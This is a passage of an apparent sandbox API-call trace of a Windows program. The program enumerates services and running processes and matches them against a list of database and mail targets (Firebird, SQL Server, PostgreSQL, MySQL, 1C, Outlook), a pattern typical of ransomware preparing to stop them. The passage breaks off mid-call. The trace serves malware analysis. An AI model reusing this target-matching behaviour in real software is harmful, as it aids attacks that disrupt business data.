pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0214.117] CloseServiceHandle (hSCObject=0x570150) returned 1 [0214.117] lstrlenW (lpString="Appinfo") returned 7 [0214.117] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0214.117] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0214.117] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0214.117] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0214.117] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0214.117] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0214.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0214.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0214.118] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0214.118] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0214.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0214.118] lstrlenW (lpString="AudioSrv") returned 8 [0214.118] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0214.118] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0214.118] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0214.118] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0214.118] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0214.118] lstrlenW (lpString="BFE") returned 3 [0214.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0214.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0214.119] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0214.119] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0214.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0214.119] lstrlenW (lpString="CryptSvc") returned 8 [0214.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0214.119] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0214.119] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0214.119] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0214.119] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0214.119] lstrlenW (lpString="CscService") returned 10 [0214.119] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0214.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0214.120] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0214.120] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0214.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0214.120] lstrlenW (lpString="DcomLaunch") returned 10 [0214.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0214.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0214.120] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0214.120] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0214.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0214.120] lstrlenW (lpString="Dhcp") returned 4 [0214.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0214.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0214.120] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0214.121] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0214.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0214.121] lstrlenW (lpString="Dnscache") returned 8 [0214.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0214.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0214.121] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0214.121] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0214.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0214.121] lstrlenW (lpString="DPS") returned 3 [0214.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0214.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0214.121] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0214.121] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0214.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0214.121] lstrlenW (lpString="eventlog") returned 8 [0214.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0214.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0214.122] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0214.122] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0214.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0214.122] lstrlenW (lpString="EventSystem") returned 11 [0214.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0214.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0214.122] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0214.122] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0214.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0214.122] lstrlenW (lpString="FontCache") returned 9 [0214.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0214.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0214.122] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0214.122] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0214.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0214.123] lstrlenW (lpString="gpsvc") returned 5 [0214.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0214.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0214.123] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0214.123] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0214.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0214.123] lstrlenW (lpString="iphlpsvc") returned 8 [0214.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0214.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0214.123] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0214.123] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0214.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0214.123] lstrlenW (lpString="LanmanServer") returned 12 [0214.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0214.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0214.124] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0214.124] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0214.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0214.124] lstrlenW (lpString="LanmanWorkstation") returned 17 [0214.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0214.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0214.124] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0214.124] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0214.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0214.124] lstrlenW (lpString="lmhosts") returned 7 [0214.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0214.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0214.124] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0214.124] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0214.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0214.124] lstrlenW (lpString="MMCSS") returned 5 [0214.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0214.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0214.124] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0214.124] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0214.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0214.124] lstrlenW (lpString="MpsSvc") returned 6 [0214.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0214.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0214.124] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0214.124] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0214.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0214.125] lstrlenW (lpString="Netman") returned 6 [0214.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0214.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0214.125] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0214.125] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0214.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0214.125] lstrlenW (lpString="netprofm") returned 8 [0214.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0214.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0214.126] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0214.126] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0214.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0214.127] lstrlenW (lpString="NlaSvc") returned 6 [0214.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0214.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0214.127] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0214.127] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0214.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0214.127] lstrlenW (lpString="nsi") returned 3 [0214.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0214.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0214.127] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0214.127] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0214.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0214.127] lstrlenW (lpString="PcaSvc") returned 6 [0214.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0214.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0214.128] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0214.128] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0214.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0214.128] lstrlenW (lpString="PlugPlay") returned 8 [0214.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0214.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0214.128] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0214.128] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0214.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0214.128] lstrlenW (lpString="Power") returned 5 [0214.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0214.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0214.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0214.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0214.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0214.128] lstrlenW (lpString="ProfSvc") returned 7 [0214.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0214.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0214.129] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0214.129] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0214.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0214.129] lstrlenW (lpString="RpcEptMapper") returned 12 [0214.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0214.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0214.129] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0214.129] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0214.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0214.129] lstrlenW (lpString="RpcSs") returned 5 [0214.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0214.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0214.129] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0214.129] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0214.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0214.130] lstrlenW (lpString="SamSs") returned 5 [0214.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0214.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0214.130] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0214.130] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0214.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0214.130] lstrlenW (lpString="Schedule") returned 8 [0214.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0214.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0214.130] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0214.130] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0214.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0214.130] lstrlenW (lpString="SENS") returned 4 [0214.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0214.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0214.131] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0214.131] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0214.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0214.131] lstrlenW (lpString="ShellHWDetection") returned 16 [0214.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0214.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0214.131] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0214.131] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0214.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0214.131] lstrlenW (lpString="Spooler") returned 7 [0214.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0214.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0214.131] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0214.132] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0214.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0214.132] lstrlenW (lpString="sppsvc") returned 6 [0214.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0214.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0214.132] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0214.132] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0214.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0214.132] lstrlenW (lpString="SysMain") returned 7 [0214.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0214.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0214.132] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0214.132] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0214.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0214.132] lstrlenW (lpString="Themes") returned 6 [0214.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0214.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0214.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0214.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0214.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0214.133] lstrlenW (lpString="TrkWks") returned 6 [0214.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0214.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0214.133] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0214.133] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0214.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0214.133] lstrlenW (lpString="UxSms") returned 5 [0214.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0214.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0214.133] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0214.133] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0214.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0214.133] lstrlenW (lpString="VSS") returned 3 [0214.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0214.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0214.134] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0214.134] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0214.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0214.134] lstrlenW (lpString="WdiServiceHost") returned 14 [0214.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0214.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0214.134] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0214.134] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0214.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0214.134] lstrlenW (lpString="WdiSystemHost") returned 13 [0214.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0214.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0214.134] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0214.134] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0214.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0214.134] lstrlenW (lpString="WinDefend") returned 9 [0214.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0214.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0214.135] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0214.135] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0214.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0214.135] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0214.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0214.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0214.135] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0214.135] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0214.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0214.135] lstrlenW (lpString="Winmgmt") returned 7 [0214.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0214.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0214.135] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0214.135] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0214.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0214.135] lstrlenW (lpString="wscsvc") returned 6 [0214.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0214.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0214.136] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0214.136] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0214.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0214.136] lstrlenW (lpString="wuauserv") returned 8 [0214.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0214.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0214.136] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0214.136] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0214.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0214.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f06078 | out: hHeap=0x4f0000) returned 1 [0214.136] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f4 [0214.139] Process32FirstW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.140] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0214.142] lstrlenW (lpString="System") returned 6 [0214.142] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0214.142] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0214.142] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0214.142] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0214.142] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0214.142] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0214.142] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0214.142] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0214.145] lstrlenW (lpString="smss.exe") returned 8 [0214.145] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0214.145] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0214.145] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.147] lstrlenW (lpString="csrss.exe") returned 9 [0214.147] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0214.148] lstrlenW (lpString="wininit.exe") returned 11 [0214.148] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0214.149] lstrlenW (lpString="csrss.exe") returned 9 [0214.150] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0214.151] lstrlenW (lpString="winlogon.exe") returned 12 [0214.151] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0214.152] lstrlenW (lpString="services.exe") returned 12 [0214.152] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: 